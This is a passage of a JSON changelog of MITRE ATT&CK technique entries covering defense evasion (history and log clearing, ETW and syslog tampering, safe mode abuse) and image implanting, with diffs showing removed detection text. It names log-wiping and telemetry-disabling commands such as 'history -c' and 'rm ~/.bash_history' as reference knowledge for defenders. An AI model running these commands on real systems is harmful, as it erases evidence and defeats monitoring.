\"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. no logging).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/003",
"external_id": "T1562.003"
},
{
"source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
"description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
},
{
"source_name": "Sophos PowerShell command audit",
"description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
"url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
},
{
"source_name": "Microsoft PowerShell Command History",
"description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
"url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
},
{
"source_name": "Sophos PowerShell Command History Forensics",
"description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
"url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Vikas Singh, Sophos",
"Emile Kenning, Sophos",
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "2.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.941000+00:00\", \"old_value\": \"2025-04-15 19:58:50.696000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\\n\\nMonitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\\n-\\n-Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.\"}}}",
"previous_version": "2.3",
"changelog_mitigations": {
"shared": [
"M1028: Operating System Configuration",
"M1039: Environment Variable Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0013: Sensor Health (Host Status)",
"DS0017: Command (Command Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0563: Detection Strategy for Impair Defenses via Impair Command History Logging across OS platforms."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-19 19:09:30.329000+00:00",
"modified": "2025-10-24 17:48:57.704000+00:00",
"name": "Indicator Blocking",
"description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors. (Citation: LemonDuck) ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)(Citation: Broadcom Configuring syslog on ESXi)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/006",
"external_id": "T1562.006"
},
{
"source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
"description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
},
{
"source_name": "Broadcom Configuring syslog on ESXi",
"description": "Broadcom. (n.d.). Configuring syslog on ESXi. Retrieved March 27, 2025.",
"url": "https://knowledge.broadcom.com/external/article/318939/configuring-syslog-on-esxi.html"
},
{
"source_name": "disable_win_evt_logging",
"description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
"url": "https://ptylu.github.io/content/report/report.html?report=25"
},
{
"source_name": "LemonDuck",
"description": "Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022.",
"url": "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/"
},
{
"source_name": "Microsoft Lamin Sept 2017",
"description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
"url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
},
{
"source_name": "Microsoft About Event Tracing 2018",
"description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.",
"url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"
},
{
"source_name": "Medium Event Tracing Tampering 2018",
"description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.",
"url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Rob Smith",
"Lucas Heiligenstein"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"macOS",
"Linux",
"ESXi"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Sensor Health: Host Status\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.704000+00:00\", \"old_value\": \"2025-04-16 21:29:20.899000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\\n\\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\AUTOLOGGER_NAME\\\\{PROVIDER_GUID}\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\\n-\\n-Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\AUTOLOGGER_NAME\\\\{PROVIDER_GUID}\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0013: Sensor Health (Host Status)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0239: Detection Strategy for Impair Defenses Indicator Blocking"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-06-23 20:00:27.600000+00:00",
"modified": "2025-10-24 17:48:33.044000+00:00",
"name": "Safe Mode Boot",
"description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/009",
"external_id": "T1562.009"
},
{
"source_name": "BleepingComputer REvil 2021",
"description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021.",
"url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/"
},
{
"source_name": "Cybereason Nocturnus MedusaLocker 2020",
"description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.",
"url": "https://www.cybereason.com/blog/medusalocker-ransomware"
},
{
"source_name": "Microsoft Bootcfg",
"description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.",
"url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg"
},
{
"source_name": "Microsoft bcdedit 2021",
"description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit"
},
{
"source_name": "Microsoft Safe Mode",
"description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.",
"url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234"
},
{
"source_name": "CyberArk Labs Safe Mode 2016",
"description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.",
"url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise"
},
{
"source_name": "Sophos Snatch Ransomware 2019",
"description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.",
"url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jorell Magtibay, National Australia Bank Limited",
"Kiyohito Yamamoto, RedLark, NTT Communications",
"Yusuke Kubo, RedLark, NTT Communications"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.044000+00:00\", \"old_value\": \"2025-04-25 14:46:08.076000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\\\* in front of the \\\"Startup\\\" value name: HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\[\\\"\\\\*Startup\\\"=\\\"{Path}\\\"] or by adding a key to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\\n\\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\\\* in front of the \\\"Startup\\\" value name: HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\[\\\"\\\\*Startup\\\"=\\\"{Path}\\\"] or by adding a key to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\\n-\\n-Monitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0116: Detection Strategy for Safe Mode Boot Abuse"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-09-04 12:04:03.552000+00:00",
"modified": "2025-10-24 17:48:45.786000+00:00",
"name": "Implant Internal Image",
"description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1525",
"external_id": "T1525"
},
{
"source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019",
"description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.",
"url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/"
},
{
"source_name": "Rhino Labs Cloud Backdoor September 2019",
"description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.",
"url": "https://github.com/RhinoSecurityLabs/ccat"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Yossi Weizman, Azure Defender Research Team",
"Vishwas Manral, McAfee",
"Praetorian"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Containers"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Image: Image Metadata\", \"Image: Image Creation\", \"Image: Image Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.786000+00:00\", \"old_value\": \"2025-04-25 15:15:30.983000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\\n\\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\\n-\\n-In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. \"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1045: Code Signing",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0007: Image (Image Creation)",
"DS0007: Image (Image Metadata)",
"DS0007: Image (Image Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0334: Detection Strategy for T1525 \u2013 Implant Internal Image"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-31 12:32:08.228000+00:00",
"modified": "2025-10-24 17:48:40.313000+00:00",
"name": "Clear Command History",
"description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data (clear logging and/or clear history).(Citation: US-CERT-TA18-106A) On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.(Citation: Broadcom ESXi Shell Audit)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070/003",
"external_id": "T1070.003"
},
{
"source_name": "Broadcom ESXi Shell Audit",
"description": "Broadcom. (2025, February 20). Auditing ESXi Shell logins and commands. Retrieved March 26, 2025.",
"url": "https://knowledge.broadcom.com/external/article/321910/auditing-esxi-shell-logins-and-commands.html"
},
{
"source_name": "Sophos PowerShell command audit",
"description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
"url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
},
{
"source_name": "Microsoft PowerShell Command History",
"description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
"url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
},
{
"source_name": "Sophos PowerShell Command History Forensics",
"description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
"url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Vikas Singh, Sophos",
"Emile Kenning, Sophos",
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Deletion\", \"File: File Modification\", \"Command: Command Execution\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.313000+00:00\", \"old_value\": \"2025-04-15 19:58:23.774000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\\n\\nMonitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\\n-\\n-Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1029: Remote Data Storage",
"M1039: Environment Variable Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Deletion)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0165: Behavioral Detection of Command History Clearing"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-28 17:11:54.034000+00:00",
"modified": "2025-10-24 17:48:34.441000+00:00",
"name": "Clear Linux or Mac System Logs",
"description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the /var/log/ directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* /var/log/messages:: General and system-related messages\n* /var/log/secure or /var/log/auth.log: Authentication logs\n* /var/log/utmp or /var/log/wtmp: Login records\n* /var/log/kern.log: Kernel logs\n* /var/log/cron.log: Crond logs\n* /var/log/maillog: Mail server logs\n* /var/log/httpd/: Web server access and error logs\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070/002",
"external_id": "T1070.002"
},
{
"source_name": "Linux Logs",
"description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.",
"url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "1.0",
